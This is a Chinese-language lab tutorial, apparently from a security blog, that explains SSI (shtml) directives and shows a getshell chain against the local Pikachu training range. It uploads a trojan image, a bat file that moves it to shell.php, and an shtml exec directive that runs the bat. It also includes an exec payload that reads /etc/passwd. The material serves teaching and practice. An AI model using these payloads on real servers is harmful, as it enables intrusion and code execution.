一、什么是shtml
使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为“服务器端嵌入”或者叫“服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。
二、SSI指令基本格式
我这里就列举本文用到的
程序代码:
<!– 指令名称=”指令参数”>
exec
作用:将某一外部程序的输出插入到页面中
语法:
<!–#exec cmd=”文件名称”–>
参数:
cmd 常规应用程序
示例:
<!–#exec cmd=”cat /etc/passwd”–> 将会显示密码文件
<!–#exec cmd=”dir”–> 将会显示当前目录的文件夹和文件
echo
作用:将环境变量插入到页面中。
语法:
<!–#echo var=”变量名称”–>
示例:
<!–#echo var=”REMOTE_ADDR”–> 你的IP地址
具体指令和原理等传送门
三、搭建上传环境
1. 这里本地进行搭建,使用的为phpstudy
2. 搭建并使用Pikachu靶场,把源码放到网站根目录之后,访问,127.0.0.1/pk/index.php
3. 点击安装即可
四、Apache开启SSI
1. D:phpStudyPHPTutorialApacheconf,在此目录找到http.conf
2. 找到以下两个,把前面的#号去掉
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
3. 在httpd.conf文件中找到这一行:
Options +Indexes +FollowSymLinks +ExecCGI
在后面添加INCLUDES,如下面所示:
Options +Indexes +FollowSymLinks +ExecCGI +INCLUDES
/*因为我的是PHP Study所以有个+号,宝塔的话,直接去掉+号就可以了*/
4. 测试
REMOTE_ADDR:显示发出请求信息的客户端IP地址。
往1.shtml写入<!–#echo var=”REMOTE_ADDR” –>,并上传
成功执行
五、Getshell
假如该网站是可以上传除PHP外的文件,尝试绕过也不行,但是该站开启了SSI,那么就可以上传shtml、bat进行Getshell(不过这个是真的少见)
1. 因为在上传成功的时候,pikachu这里会直接显示文件上传到了哪里,所以可以省去找相对路劲的步骤。
也可以让其报错显示网站的路径,可以看到它是把上传的文件上传到uploads这个目录
2. 上传一个带有木马的jpg
3. 上传一个bat文件,内容写入移动的代码
Move D:phpStudyPHPTutorialWWWpkvulunsafeuploaduploads1.jpg D:phpStudyPHPTutorialWWWshell.php
4. 上传stml文件,执行SSI指令
路径为bat所在的目录
上传成功后访问11.shtml文件即可
可以看到已经移动成功
访问127.0.0.1/shell.php即可